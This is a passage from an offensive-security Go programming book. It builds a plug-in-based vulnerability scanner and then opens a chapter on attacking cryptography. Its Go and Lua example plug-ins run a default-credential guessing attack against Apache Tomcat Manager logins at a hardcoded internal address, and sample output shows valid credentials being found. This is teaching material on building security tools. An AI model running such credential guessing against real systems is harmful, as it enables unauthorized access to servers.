in by using an embedded Lua system, which predates the native Go plug-in
system. Keep in mind that, unlike creating plug-ins in other languages,
such as Java and Python, creating plug-ins in Go is a fairly new construct.
Native support for plug-ins has existed only since Go version 1.8. Further, it
wasn’t until Go version 1.10 that you could create these plug-ins as Windows
dynamic link libraries (DLLs). Make sure you’re running the latest version
of Go so that all the examples in this chapter work as planned.
Using Go’s Native Plug-in System
Prior to version 1.8 of Go, the language didn’t support plug-ins or dynamic
runtime code extendibility. Whereas languages like Java allow you to load a
class or JAR file when you execute your program to instantiate the imported
types and call their functions, Go provided no such luxury. Although you
could sometimes extend functionality through interface implementations
and such, you couldn’t truly dynamically load and execute the code itself.
Instead, you needed to properly include it during compile time. As an
example, there was no way to replicate the Java functionality shown here,
which dynamically loads a class from a file, instantiates the class, and calls
someMethod() on the instance:
File file = new File("/path/to/classes/");
URL[] urls = new URL[]{file.toURL()};
ClassLoader cl = new URLClassLoader(urls);
Class clazz = cl.loadClass("com.example.MyClass");
clazz.getConstructor().newInstance().someMethod();
Luckily, the later versions of Go have the ability to mimic this function-
ality, allowing developers to compile code explicitly for use as a plug-in.
Limitations exist, though. Specifically, prior to version 1.10, the plug-in
system worked only on Linux, so you’d have to deploy your extendable
framework on Linux.
Go’s plug-ins are created as shared objects during the building process.
To produce this shared object, you enter the following build command,
which supplies plugin as the buildmode option:
$ go build -buildmode=plugin
Alternatively, to build a Windows DLL, use c-shared as the buildmode option:
$ go build -buildmode=c-shared
To build a Windows DLL, your program must meet certain conventions
to export your functions and also must import the C library. We’ll let you
explore these details on your own. Throughout this chapter, we’ll focus
前沿信安资讯阵地 公众号:i nf osrc
Go Plugins and Extendable Tools 219
almost exclusively on the Linux plug-in variant, since we’ll demonstrate how
to load and use DLLs in Chapter 12.
After you’ve compiled to a DLL or shared object, a separate program
can load and use the plug-in at runtime. Any of the exported functions
will be accessible. To interact with the exported features of a shared object,
you’ll use Go’s plugin package. The functionality in the package is straight-
forward. To use a plug-in, follow these steps:
1. Call plugin.Open(filename string) to open a shared object file, creating a
*plugin.Plugin instance.
2. On the *plugin.Plugin instance, call Lookup(symbolName string) to retrieve
a Symbol (that is, an exported variable or function) by name.
3. Use a type assertion to convert the generic Symbol to the type expected
by your program.
4. Use the resulting converted object as desired.
You may have noticed that the call to Lookup() requires the consumer
to supply a symbol name. This means that the consumer must have a pre-
defined, and hopefully publicized, naming scheme. Think of it as almost
a defined API or generic interface to which plug-ins will be expected to
adhere. Without a standard naming scheme, new plug-ins would require
you to make changes to the consumer code, defeating the entire purpose
of a plug-in-based system.
In the examples that follow, you should expect plug-ins to define an
exported function named New() that returns a specific interface type. That
way, you’ll be able to standardize the bootstrapping process. Getting a
handle back to an interface allows us to call functions on the object in
a predictable way.
Now let’s start creating your pluggable vulnerability scanner. Each plug-
in will implement its own signature-checking logic. Your main scanner code
will bootstrap the process by reading your plug-ins from a single directory
on your filesystem. To make this all work, you’ll have two separate reposi-
tories: one for your plug-ins and one for the main program that consumes
the plug-ins.
Creating the Main Program
Let’s start with your main program, to which you’ll attach your plug-ins.
This will help you understand the process of authoring your plug-ins. Set
up your repository’s directory structure so it matches the one shown here:
$ tree
.
--- cmd
--- scanner
--- main.go
--- plugins
--- scanner
--- scanner.go
前沿信安资讯阵地 公众号:i nf osrc
220 Chapter 10
The file called cmd/scanner/main.go is your command line utility. It will
load the plug-ins and initiate a scan. The plugins directory will contain all
the shared objects that you’ll load dynamically to call various vulnerability
signature checks. You’ll use the file called scanner/scanner.go to define the
data types your plug-ins and main scanner will use. You put this data into its
own package to make it a little bit easier to use.
Listing 10-1 shows what your scanner.go file looks like. (All the code list-
ings at the root location of / exist under the provided github repo https://
github.com/blackhat-go/bhg/.)
package scanner
// Scanner defines an interface to which all checks adhere
u type Checker interface {
v Check(host string, port uint64) *Result
}
// Result defines the outcome of a check
w type Result struct {
Vulnerable bool
Details string
}
Listing 10-1: Defining core scanner types (/ch-10/plugin-core/scanner/scanner.go)
In this package, named scanner, you define two types. The first is an
interface called Checker u. The interface defines a single method named
Check() v, which accepts a host and port value and returns a pointer to a
Result. Your Result type is defined as a struct w. Its purpose is to track the
outcome of the check. Is the service vulnerable? What details are pertinent
in documenting, validating, or exploiting the flaw?
You’ll treat the interface as a contract or blueprint of sorts; a plug-in
is free to implement the Check() function however it chooses, so long as it
returns a pointer to a Result. The logic of the plug-in’s implementation will
vary based on each plug-in’s vulnerability-checking logic. For instance, a
plug-in checking for a Java deserialization issue can implement the proper
HTTP calls, whereas a plug-in checking for default SSH credentials can
issue a password-guessing attack against the SSH service. The power of
abstraction!
Next, let’s review cmd/scanner/main.go, which will consume your plug-ins
(Listing 10-2).
const PluginsDir = "../../plugins/" u
func main() {
var (
files []os.FileInfo
err error
p *plugin.Plugin
n plugin.Symbol
check scanner.Checker
前沿信安资讯阵地 公众号:i nf osrc
Go Plugins and Extendable Tools 221
res *scanner.Result
)
if files, err = ioutil.ReadDir(PluginsDir)v; err != nil {
log.Fatalln(err)
}
for idx := range files { w
fmt.Println("Found plugin: " + files[idx].Name())
if p, err = plugin.Open(PluginsDir + "/" + files[idx].Name())x; err != nil {
log.Fatalln(err)
}
if n, err = p.Lookup("New")y; err != nil {
log.Fatalln(err)
}
newFunc, ok := n.(func() scanner.Checker) z
if !ok {
log.Fatalln("Plugin entry point is no good. Expecting: func New() scanner.Checker{ ... }")
}
check = newFunc(){
res = check.Check("10.0.1.20", 8080) |
if res.Vulnerable { }
log.Println("Host is vulnerable: " + res.Details)
} else {
log.Println("Host is NOT vulnerable")
}
}
}
Listing 10-2: The scanner client that runs plug-ins (/ch-10/plugin-core /cmd/scanner/main.go)
The code starts by defining the location of your plug-ins u. In this case,
you’ve hardcoded it; you could certainly improve the code so it reads this
value in as an argument or environment variable instead. You use this vari-
able to call ioutil.ReadDir(PluginDir) and obtain a file listing v, and then loop
over each of these plug-in files w. For each file, you use Go’s plugin package
to read the plug-in via a call to plugin.Open() x. If this succeeds, you’re given
a *plugin.Plugin instance, which you assign to the variable named p. You call
p.Lookup("New") to search your plug-in for a symbol named New y.
As we mentioned during the high-level overview earlier, this symbol
lookup convention requires your main program to provide the explicit
name of the symbol as an argument, meaning you expect the plug-in
to have an exported symbol by the same name—in this case, our main
program is looking for the symbol named New. Furthermore, as you’ll see
shortly, the code expects the symbol to be a function that will return a
concrete implementation of your scanner.Checker interface, which we dis-
cussed in the previous section.
Assuming your plug-in contains a symbol named New, you make
a type assertion for the symbol as you try to convert it to type func()
scanner.Checker z. That is, you’re expecting the symbol to be a func-
tion that returns an object implementing scanner.Checker. You assign
前沿信安资讯阵地 公众号:i nf osrc
222 Chapter 10
the converted value to a variable named newFunc. Then you invoke it and
assign the returned value to a variable named check {. Thanks to your type
assertion, you know that check satisfies your scanner.Checker interface, so it
must implement a Check() function. You call it, passing in a target host and
port |. The result, a *scanner.Result, is captured using a variable named res
and inspected to determine whether the service was vulnerable or not }.
Notice that this process is generic; it uses type assertions and inter-
faces to create a construct through which you can dynamically call plug-
ins. Nothing within the code is specific to a single vulnerability signature
or method used to check for a vulnerability’s existence. Instead, you’ve
abstracted the functionality enough that plug-in developers can create
stand-alone plug-ins that perform units of work without having knowledge
of other plug-ins—or even extensive knowledge of the consuming applica-
tion. The only thing that plug-in authors must concern themselves with is
properly creating the exported New() function and a type that implements
scanner.Checker. Let’s have a look at a plug-in that does just that.
Building a Password-Guessing Plug-in
This plug-in (Listing 10-3) performs a password-guessing attack against the
Apache Tomcat Manager login portal. A favorite target for attackers, the
portal is commonly configured to accept easily guessable credentials. With
valid credentials, an attacker can reliably execute arbitrary code on the
underlying system. It’s an easy win for attackers.
In our review of the code, we won’t cover the specific details of the vul-
nerability test, as it’s really just a series of HTTP requests issued to a specific
URL. Instead, we’ll focus primarily on satisfying the pluggable scanner’s
interface requirements.
import (
// Some snipped for brevity
"github.com/bhg/ch-10/plugin-core/scanner" u
)
var Users = []string{"admin", "manager", "tomcat"}
var Passwords = []string{"admin", "manager", "tomcat", "password"}
// TomcatChecker implements the scanner.Check interface. Used for guessing Tomcat creds
type TomcatChecker struct{} v
// Check attempts to identify guessable Tomcat credentials
func (c *TomcatChecker) Check(host string, port uint64) *scanner.Result { w
var (
resp *http.Response
err error
url string
res *scanner.Result
client *http.Client
req *http.Request
)
log.Println("Checking for Tomcat Manager...")
前沿信安资讯阵地 公众号:i nf osrc
Go Plugins and Extendable Tools 223
res = new(scanner.Result) x
url = fmt.Sprintf("http://%s:%d/manager/html", host, port)
if resp, err = http.Head(url); err != nil {
log.Printf("HEAD request failed: %s\n", err)
return res
}
log.Println("Host responded to /manager/html request")
// Got a response back, check if authentication required
if resp.StatusCode != http.StatusUnauthorized || resp.Header.Get("WWW-Authenticate") == "" {
log.Println("Target doesn't appear to require Basic auth.")
return res
}
// Appears authentication is required. Assuming Tomcat manager. Guess passwords...
log.Println("Host requires authentication. Proceeding with password guessing...")
client = new(http.Client)
if req, err = http.NewRequest("GET", url, nil); err != nil {
log.Println("Unable to build GET request")
return res
}
for _, user := range Users {
for _, password := range Passwords {
req.SetBasicAuth(user, password)
if resp, err = client.Do(req); err != nil {
log.Println("Unable to send GET request")
continue
}
if resp.StatusCode == http.StatusOK { y
res.Vulnerable = true
res.Details = fmt.Sprintf("Valid credentials found - %s:%s", user, password)
return res
}
}
}
return res
}
// New is the entry point required by the scanner
func New() scanner.Checker { z
return new(TomcatChecker)
}
Listing 10-3: Creating a Tomcat credential-guessing plug-in natively (/ch-10 /plugin-tomcat/main.go)
First, you need to import the scanner package we detailed previously u.
This package defines both the Checker interface and the Result struct that
you’ll be building. To create an implementation of Checker, you start by
defining an empty struct type named TomcatChecker v. To fulfill the Checker
interface’s implementation requirements, you create a method matching
the required Check(host string, port uint64) *scanner.Result function signa-
ture w. Within this method, you perform all of your custom vulnerability-
checking logic.
Since you’re expected to return a *scanner.Result, you initialize one,
assigning it to a variable named res x. If the conditions are met—that is,
前沿信安资讯阵地 公众号:i nf osrc
224 Chapter 10
if the checker verifies the guessable credentials—and the vulnerability is
confirmed y, you set res.Vulnerable to true and set res.Details to a message
containing the identified credentials. If the vulnerability isn’t identified, the
instance returned will have res.Vulnerable set to its default state—false.
Lastly, you define the required exported function New() *scanner
.Checker z. This adheres to the expectations set by your scanner’s Lookup()
call, as well as the type assertion and conversion needed to instantiate the
plug-in-defined TomcatChecker. This basic entry point does nothing more
than return a new *TomcatChecker (which, since it implements the required
Check() method, happens to be a scanner.Checker).
Running the Scanner
Now that you’ve created both your plug-in and the main program that con-
sumes it, compile your plug-in, using the -o option to direct your compiled
shared object to the scanner’s plug-ins directory:
$ go build -buildmode=plugin -o /path/to/plugins/tomcat.so
Then run your scanner (cmd/scanner/main.go) to confirm that it identi-
fies the plug-in, loads it, and executes the plug-in’s Check() method:
$ go run main.go
Found plugin: tomcat.so
2020/01/15 15:45:18 Checking for Tomcat Manager...
2020/01/15 15:45:18 Host responded to /manager/html request
2020/01/15 15:45:18 Host requires authentication. Proceeding with password guessing...
2020/01/15 15:45:18 Host is vulnerable: Valid credentials found - tomcat:tomcat
Would you look at that? It works! Your scanner is able to call code
within your plug-in. You can drop any number of other plug-ins into the
plug-ins directory. Your scanner will attempt to read each and kick off the
vulnerability-checking functionality.
The code we developed could benefit from a number of improvements.
We’ll leave these improvements to you as an exercise. We encourage you to
try a few things:
1. Create a plug-in to check for a different vulnerability.
2. Add the ability to dynamically supply a list of hosts and their open ports
for more extensive tests.
3. Enhance the code to call only applicable plug-ins. Currently, the code
will call all plug-ins for the given host and port. This isn’t ideal. For
example, you wouldn’t want to call the Tomcat checker if the target
port isn’t HTTP or HTTPS.
4. Convert your plug-in system to run on Windows, using DLLs as the
plug-in type.
In the next section, you’ll build the same vulnerability-checking plug-in
in a different, unofficial plug-in system: Lua.
前沿信安资讯阵地 公众号:i nf osrc
Go Plugins and Extendable Tools 225
Building Plug-ins in Lua
Using Go’s native buildmode feature when creating pluggable programs
has limitations, particularly because it’s not very portable, meaning the
plug-ins may not cross-compile nicely. In this section, we’ll look at a way
to overcome this deficiency by creating plug-ins with Lua instead. Lua is a
scripting language used to extend various tools. The language itself is easily
embeddable, powerful, fast, and well-documented. Security tools such as
Nmap and Wireshark use it for creating plug-ins, much as you’ll do right
now. For more info, refer to the official site at https://www.lua.org/.
To use Lua within Go, you’ll use a third-party package, gopher-lua,
which is capable of compiling and executing Lua scripts directly in Go.
Install it on your system by entering the following:
$ go get github.com/yuin/gopher-lua
Now, be forewarned that the price you’ll pay for portability is increased
complexity. That’s because Lua has no implicit way to call functions in your
program or various Go packages and has no knowledge of your data types.
To solve this problem, you’ll have to choose one of two design patterns:
1. Call a single entry point in your Lua plug-in, and let the plug-in call
any helper methods (such as those needed to issue HTTP requests)
through other Lua packages. This makes your main program simple,
but it reduces portability and could make dependency management a
nightmare. For example, what if a Lua plug-in requires a third-party
dependency not installed as a core Lua package? Your plug-in would
break the moment you move it to another system. Also, what if two
separate plug-ins require different versions of a package?
2. In your main program, wrap the helper functions (such as those from
the net/http package) in a manner that exposes a façade through
which the plug-in can interact. This, of course, requires you to write
extensive code to expose all the Go functions and types. However,
once you’ve written the code, the plug-ins can reuse it in a consistent
manner. Plus, you can sort of not worry about the Lua dependency
issues that you’d have if you used the first design pattern (although,
of course, there’s always the chance that a plug-in author uses a third-
party library and breaks something).
For the remainder of this section, you’ll work on the second design
pattern. You’ll wrap your Go functions to expose a façade that’s accessible
to your Lua plug-ins. It’s the better of the two solutions (and plus, the word
façade makes it sound like you’re building something really fancy).
The bootstrapping, core Go code that loads and runs plug-ins will
reside in a single file for the duration of this exercise. For the sake of sim-
plicity, we’ve specifically removed some of patterns used in the examples
at https://github.com/yuin/gopher-lua/. We felt that some of the patterns,
such as using user-defined types, made the code less readable. In a real
前沿信安资讯阵地 公众号:i nf osrc
226 Chapter 10
implementation, you’d likely want to include some of those patterns for better
flexibility. You’d also want to include more extensive error and type checking.
Your main program will define functions to issue GET and HEAD HTTP
requests, register those functions with the Lua virtual machine (VM), and
load and execute your Lua scripts from a defined plug-ins directory. You’ll
build the same Tomcat password-guessing plug-in from the previous section,
so you’ll be able to compare the two versions.
Creating the head() HTTP Function
Let’s start with the main program. First, let’s look at the head() HTTP func-
tion, which wraps calls to Go’s net/http package (Listing 10-4).
func head(l *lua.LStateu) int {
var (
host string
port uint64
path string
resp *http.Response
err error
url string
)
v host = l.CheckString(1)
port = uint64(l.CheckInt64(2))
path = l.CheckString(3)
url = fmt.Sprintf("http://%s:%d/%s", host, port, path)
if resp, err = http.Head(url); err != nil {
w l.Push(lua.LNumber(0))
l.Push(lua.LBool(false))
l.Push(lua.LString(fmt.Sprintf("Request failed: %s", err)))
x return 3
}
y l.Push(lua.LNumber(resp.StatusCode))
l.Push(lua.LBool(resp.Header.Get("WWW-Authenticate") != ""))
l.Push(lua.LString(""))
z return 3
}
Listing 10-4: Creating a head() function for Lua ( /ch-10/lua-core/cmd/scanner/main.go)
First, notice that your head() function accepts a pointer to a lua.LState
object and returns an int u. This is the expected signature for any func-
tion you wish to register with the Lua VM. The lua.LState type maintains
the running state of the VM, including any parameters passed in to Lua
and returned from Go, as you’ll see shortly. Since your return values will be
included within the lua.LState instance, the int return type represents the
number of values returned. That way, your Lua plug-in will be able to read
and use the return values.
Since the lua.LState object, l, contains any parameters passed to your
function, you read the data in via calls to l.CheckString() and l.CheckInt64() v.
(Although not needed for our example, other Check* functions exist to
accommodate other expected data types.) These functions receive an
前沿信安资讯阵地 公众号:i nf osrc
Go Plugins and Extendable Tools 227
integer value, which acts as the index for the desired parameter. Unlike Go
slices, which are 0-indexed, Lua is 1-indexed. So, the call to l.CheckString(1)
retrieves the first parameter supplied in the Lua function call, expecting
it to be a string. You do this for each of your expected parameters, passing
in the proper index of the expected value. For your head() function, you’re
expecting Lua to call head(host, port, path), where host and path are strings
and port is an integer. In a more resilient implementation, you’d want to do
additional checking here to make sure the data supplied is valid.
The function proceeds to issue an HTTP HEAD request and perform
some error checking. In order to return values to your Lua callers, you
push the values onto your lua.LState by calling l.Push() and passing it an
object that fulfills the lua.LValue interface type w. The gopher-lua package
contains several types that implement this interface, making it as easy as
calling lua.LNumber(0) and lua.LBool(false), for example, to create numer-
ical and boolean return types.
In this example, you’re returning three values. The first is the HTTP
status code, the second determines whether the server requires basic authen-
tication, and the third is an error message. We’ve chosen to set the status
code to 0 if an error occurs. You then return 3, which is the number of items
you’ve pushed onto your LState instance x. If your call to http.Head() doesn’t
produce an error, you push your return values onto LState y, this time with a
valid status code, and then check for basic authentication and return 3 z.
Creating the get() Function
Next, you’ll create your get() function, which, like the previous example,
wraps the net/http package’s functionality. In this case, however, you’ll issue
an HTTP GET request. Other than that, the get() function uses fairly simi-
lar constructs as your head() function by issuing an HTTP request to your
target endpoint. Enter the code in Listing 10-5.
func get(l *lua.LState) int {
var (
host string
port uint64
username string
password string
path string
resp *http.Response
err error
url string
client *http.Client
req *http.Request
)
host = l.CheckString(1)
port = uint64(l.CheckInt64(2))
u username = l.CheckString(3)
password = l.CheckString(4)
path = l.CheckString(5)
url = fmt.Sprintf("http://%s:%d/%s", host, port, path)
client = new(http.Client)
前沿信安资讯阵地 公众号:i nf osrc
228 Chapter 10
if req, err = http.NewRequest("GET", url, nil); err != nil {
l.Push(lua.LNumber(0))
l.Push(lua.LBool(false))
l.Push(lua.LString(fmt.Sprintf("Unable to build GET request: %s", err)))
return 3
}
if username != "" || password != "" {
// Assume Basic Auth is required since user and/or password is set
req.SetBasicAuth(username, password)
}
if resp, err = client.Do(req); err != nil {
l.Push(lua.LNumber(0))
l.Push(lua.LBool(false))
l.Push(lua.LString(fmt.Sprintf("Unable to send GET request: %s", err)))
return 3
}
l.Push(lua.LNumber(resp.StatusCode))
l.Push(lua.LBool(false))
l.Push(lua.LString(""))
return 3
}
Listing 10-5: Creating a get() function for Lua (/ch-10 /lua-core/cmd/scanner/main.go)
Much like your head() implementation, your get() function will return
three values: the status code, a value expressing whether the system you’re
trying to access requires basic authentication, and any error messages. The
only real difference between the two functions is that your get() function
accepts two additional string parameters: a username and a password u. If
either of these values is set to a non-empty string, you’ll assume you have to
perform basic authentication.
Now, some of you are probably thinking that the implementations are
oddly specific, almost to the point of negating any flexibility, reusability, and
portability of a plug-in system. It’s almost as if these functions were designed
for a very specific use case—that is, to check for basic authentication—rather
than for a general purpose. After all, why wouldn’t you return the response
body or the HTTP headers? Likewise, why wouldn’t you accept more robust
parameters to set cookies, other HTTP headers, or issue POST requests
with a body, for example?
Simplicity is the answer. Your implementations can act as a starting point
for building a more robust solution. However, creating that solution would
be a more significant endeavor, and you’d likely lose the code’s purpose
while trying to navigate implementation details. Instead, we’ve chosen to
do things in a more basic, less flexible fashion to make the general, founda-
tional concepts simpler to understand. An improved implementation would
likely expose complex user-defined types that better represent the entirety
of, for example, the http.Request and http.Response types. Then, rather than
accepting and returning multiple parameters from Lua, you could simplify
前沿信安资讯阵地 公众号:i nf osrc
Go Plugins and Extendable Tools 229
your function signatures, reducing the number of parameters you accept
and return. We encourage you to work through this challenge as an exer-
cise, changing the code to accept and return user-defined structs rather
than primitive types.
Registering the Functions with the Lua VM
Up to this point, you’ve implemented wrapper functions around the neces-
sary net/http calls you intend to use, creating the functions so gopher-lua can
consume them. However, you need to actually register the functions with the
Lua VM. The function in Listing 10-6 centralizes this registration process.
u const LuaHttpTypeName = "http"
func register(l *lua.LState) {
v mt := l.NewTypeMetatable(LuaHttpTypeName)
w l.SetGlobal("http", mt)
// static attributes
x l.SetField(mt, "head", l.NewFunction(head))
l.SetField(mt, "get", l.NewFunction(get))
}
Listing 10-6: Registering plug-ins with Lua (/ch-10 /lua-core/cmd/scanner/main.go)
You start by defining a constant that will uniquely identify the namespace
you’re creating in Lua u. In this case, you’ll use http because that’s essentially
the functionality you’re exposing. In your register() function, you accept a
pointer to a lua.LState, and use that namespace constant to create a new Lua
type via a call to l.NewTypeMetatable() v. You’ll use this metatable to track
types and functions available to Lua.
You then register a global name, http, on the metatable w. This makes
the http implicit package name available to the Lua VM. On the same meta-
table, you also register two fields by using calls to l.SetField() x. Here, you
define two static functions named head() and get(), available on the http
namespace. Since they’re static, you can call them via http.get() and http
.head() without having to create an instance of type http in Lua.
As you may have noted in the SetField() calls, the third parameter is the
destination function that’ll handle the Lua calls. In this case, those are your
get() and head() functions you previously implemented. These are wrapped
in a call to l.NewFunction(), which accepts a function of form func(*LState)
int, which is how you defined your get() and head() functions. They return a
*lua.LFunction. This might be a little overwhelming, since we’ve introduced a
lot of data types and you’re probably unfamiliar with gopher-lua. Just under-
stand that this function is registering the global namespace and function
names and creating mappings between those function names and your
Go functions.
前沿信安资讯阵地 公众号:i nf osrc
230 Chapter 10
Writing Your Main Function
Lastly, you’ll need to create your main() function, which will coordinate this
registration process and execute the plug-in (Listing 10-7).
u const PluginsDir = "../../plugins"
func main() {
var (
l *lua.LState
files []os.FileInfo
err error
f string
)
v l = lua.NewState()
defer l.Close()
w register(l)
x if files, err = ioutil.ReadDir(PluginsDir); err != nil {
log.Fatalln(err)
}
y for idx := range files {
fmt.Println("Found plugin: " + files[idx].Name())
f = fmt.Sprintf("%s/%s", PluginsDir, files[idx].Name())
z if err := l.DoFile(f); err != nil {
log.Fatalln(err)
}
}
}
Listing 10-7: Registering and calling Lua plug-ins ( /ch-10/lua-core/cmd/scanner/main.go)
As you did for your main() function in the Go example, you’ll hardcode
the directory location from which you’ll load your plug-ins u. In your main()
function, you issue a call to lua.NewState() v to create a new *lua.LState
instance. The lua.NewState() instance is the key item you’ll need to set up
your Lua VM, register your functions and types, and execute arbitrary Lua
scripts. You then pass that pointer to the register() function you created
earlier w, which registers your custom http namespace and functions on the
state. You read the contents of your plug-ins directory x, looping through
each file in the directory y. For each file, you call l.DoFile(f) z, where f
is the absolute path to the file. This call executes the contents of the file
within the Lua state on which you registered your custom types and func-
tions. Basically, DoFile() is gopher-lua’s way of allowing you to execute entire
files as if they were stand-alone Lua scripts.
前沿信安资讯阵地 公众号:i nf osrc
Go Plugins and Extendable Tools 231
Creating Your Plug-in Script
Now let’s take a look at your Tomcat plug-in script, written in Lua
(Listing 10-8).
usernames = {"admin", "manager", "tomcat"}
passwords = {"admin", "manager", "tomcat", "password"}
status, basic, err = http.head("10.0.1.20", 8080, "/manager/html") u
if err ~= "" then
print("[!] Error: "..err)
return
end
if status ~= 401 or not basic then
print("[!] Error: Endpoint does not require Basic Auth. Exiting.")
return
end
print("[+] Endpoint requires Basic Auth. Proceeding with password guessing")
for i, username in ipairs(usernames) do
for j, password in ipairs(passwords) do
status, basic, err = http.get("10.0.1.20", 8080, username, password, "/manager/html") v
if status == 200 then
print("[+] Found creds - "..username..":"..password)
return
end
end
end
Listing 10-8: A Lua plug-in for Tomcat password guessing (/ch-10 /lua-core /plugins/tomcat.lua)
Don’t worry too much about the vulnerability-checking logic. It’s essen-
tially the same as the logic you created in the Go version of this plug-in; it
performs basic password guessing against the Tomcat Manager portal after
it fingerprints the application by using a HEAD request. We’ve highlighted
the two most interesting items.
The first is a call to http.head("10.0.1.20", 8080, "/manager/html") u.
Based off your global and field registrations on the state metatable, you
can issue a call to a function named http.head() without receiving a Lua
error. Additionally, you’re supplying the call with the three parameters your
head() function expected to read from the LState instance. The Lua call is
expecting three return values, which align with the numbers and types you
pushed onto the LState before you exited the Go function.
The second item is your call to http.get() v, which is similar to the
http.head() function call. The only real difference is that you are passing
username and password parameters to the http.get() function. If you refer
back to the Go implementation of your get() function, you’ll see that we’re
reading these two additional strings from the LState instance.
前沿信安资讯阵地 公众号:i nf osrc
232 Chapter 10
Testing the Lua Plug-in
This example isn’t perfect and could benefit from additional design con-
siderations. But as with most adversarial tools, the most important thing is
that it works and solves a problem. Running your code proves that it does,
indeed, work as expected:
$ go run main.go
Found plugin: tomcat.lua
[+] Endpoint requires Basic Auth. Proceeding with password guessing
[+] Found creds - tomcat:tomcat
Now that you have a basic working example, we encourage you to
improve the design by implementing user-defined types so that you aren’t
passing lengthy lists of arguments and parameters to and from functions.
With this, you’ll likely need to explore registering instance methods on
your struct, whether for setting and getting values in Lua or for calling
methods on a specifically implemented instance. As you work through this,
you’ll notice that your code will get significantly more complex, since you’ll
be wrapping a lot of your Go functionality in a Lua-friendly manner.
Summary
As with many design decisions, there are multiple ways to skin a cat. Whether
you’re using Go’s native plug-in system or an alternative language like Lua,
you must consider trade-offs. But regardless of your approach, you can easily
extend Go to make rich security frameworks, particularly since the addition
of its native plug-in system.
In the next chapter, you’ll tackle the rich topic of cryptography. We’ll
demonstrate various implementations and use cases, and then build an RC2
symmetric-key brute-forcer.
前沿信安资讯阵地 公众号:i nf osrc
11
IM PL E M E N T ING A N D AT TACK ING
CRY P T OG R A PH Y
A conversation about security isn’t com-
plete without exploring cryptography. When
organizations use cryptographic practices,
they can help conserve the integrity, confiden-
tiality, and authenticity of their information and sys-
tems alike. As a tool developer, you’d likely need to
implement cryptographic features, perhaps for SSL/TLS communications,
mutual authentication, symmetric-key cryptography, or password hashing.
But developers often implement cryptographic functions insecurely, which
means the offensive-minded can exploit these weaknesses to compromise
sensitive, valuable data, such as social security or credit card numbers.
This chapter demonstrates various implementations of cryptography
in Go and discusses common weaknesses you can exploit. Although we
provide introductory information for the different cryptographic functions
and code blocks, we’re not attempting to explore the nuances of crypto-
graphic algorithms or their mathematical foundations. That, frankly, is
far beyond our interest in (or knowledge of) cryptography. As we’ve stated
前沿信安资讯阵地 公众号:i nf osrc
234 Chapter 11
before, don’t attempt anything in this chapter against resources or assets
without explicit permission from the owner. We’re including these discus-
sions for learning purposes, not to assist in illegal activities.
Reviewing Basic Cryptography Concepts
Before we explore crypto in Go, let’s discuss a few basic cryptography con-
cepts. We’ll make this short to keep you from falling into a deep sleep.
First, encryption (for the purposes of maintaining confidentiality)
is just one of the tasks of cryptography. Encryption, generally speaking, is
a two-way function with which you can scramble data and subsequently
unscramble it to retrieve the initial input. The process of encrypting data
renders it meaningless until it’s been decrypted.
Both encryption and decryption involve passing the data and an accom-
panying key into a cryptographic function. The function outputs either
the encrypted data (called ciphertext) or the original, readable data (called
cleartext). Various algorithms exist to do this. Symmetric algorithms use the
same key during the encryption and decryption processes, whereas asymmetric
algorithms use different keys for encryption and decryption. You might use
encryption to protect data in transit or to store sensitive information, such
as credit card numbers, to decrypt later, perhaps for convenience during a
future purchase or for fraud monitoring.
On the other hand, hashing is a one-way process for mathematically
scrambling data. You can pass sensitive information into a hashing func-
tion to produce a fixed-length output. When you’re working with strong
algorithms, such as those in the SHA-2 family, the probability that different
inputs produce the same output is extremely low. That is, there is a low like-
lihood of a collision. Because they’re nonreversible, hashes are commonly
used as an alternative to storing cleartext passwords in a database or to
perform integrity checking to determine whether data has been changed.
If you need to obscure or randomize the outputs for two identical inputs,
you use a salt, which is a random value used to differentiate two identical
inputs during the hashing process. Salts are common for password storage
because they allow multiple users who coincidentally use identical pass-
words to still have different hash values.
Cryptography also provides a means for authenticating messages. A message
authentication code (MAC) is the output produced from a special one-way cryp-
tographic function. This function consumes the data itself, a secret key, and
an initialization vector, and produces an output unlikely to have a collision.
The sender of a message performs the function to generate a MAC and then
includes the MAC as part of the message. The receiver locally calculates the
MAC and compares it to the MAC they received. A match indicates that the
sender has the correct secret key (that is, that the sender is authentic) and
that the message was not changed (the integrity has been maintained).
There! Now you should know enough about cryptography to under-
stand the contents of this chapter. Where necessary, we’ll discuss more
specifics relevant to the given topic. Let’s start by looking at Go’s standard
crypto library.
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 235
Understanding the Standard Crypto Library
The beautiful thing about implementing crypto in Go is that the majority
of cryptographic features you’ll likely use are part of the standard library.
Whereas other languages commonly rely on OpenSSL or other third-party
libraries, Go’s crypto features are part of the official repositories. This makes
implementing crypto relatively straightforward, as you won’t have to install
clumsy dependencies that’ll pollute your development environment. There
are two separate repositories.
The self-contained crypto package contains a variety of subpackages used
for the most common cryptographic tasks and algorithms. For example, you
could use the aes, des, and rc4 subpackages for implementing symmetric-key
algorithms; the dsa and rsa subpackages for asymmetric encryption; and the
md5, sha1, sha256, and sha512 subpackages for hashing. This is not an exhaus-
tive list; additional subpackages exist for other crypto functions, as well.
In addition to the standard crypto package, Go has an official, extended
package that contains a variety of supplementary crypto functionality:
golang .org/x/crypto. The functionality within includes additional hashing
algorithms, encryption ciphers, and utilities. For example, the package con-
tains a bcrypt subpackage for bcrypt hashing (a better, more secure alterna-
tive for hashing passwords and sensitive data), acme/autocert for generating
legitimate certificates, and SSH subpackages to facilitate communications
over the SSH protocol.
The only real difference between the built-in crypto and supplementary
golang.org/x/crypto packages is that the crypto package adheres to more strin-
gent compatibility requirements. Also, if you wish to use any of the golang
.org/x/crypto subpackages, you’ll first need to install the package by enter-
ing the following:
$ go get -u golang.org/x/crypto/bcrypt
For a complete listing of all the functionality and subpackages within
the official Go crypto packages, check out the official documentation at
https://golang.org/pkg/crypto/ and https://godoc.org/golang.org/x/crypto/.
The next sections delve into various crypto implementations. You’ll see
how to use Go’s crypto functionality to do some nefarious things, such as
crack password hashes, decrypt sensitive data by using a static key, and brute-
force weak encryption ciphers. You’ll also use the functionality to create tools
that use TLS to protect your in-transit communications, check the integrity
and authenticity of data, and perform mutual authentication.
Exploring Hashing
Hashing, as we mentioned previously, is a one-way function used to produce
a fixed-length, probabilistically unique output based on a variable-length
input. You can’t reverse this hash value to retrieve the original input source.
Hashes are often used to store information whose original, cleartext source
前沿信安资讯阵地 公众号:i nf osrc
236 Chapter 11
won’t be needed for future processing or to track the integrity of data. For
example, it’s bad practice and generally unnecessary to store the cleartext
version of the password; instead, you’d store the hash (salted, ideally, to
ensure randomness between duplicate values).
To demonstrate hashing in Go, we’ll look at two examples. The first
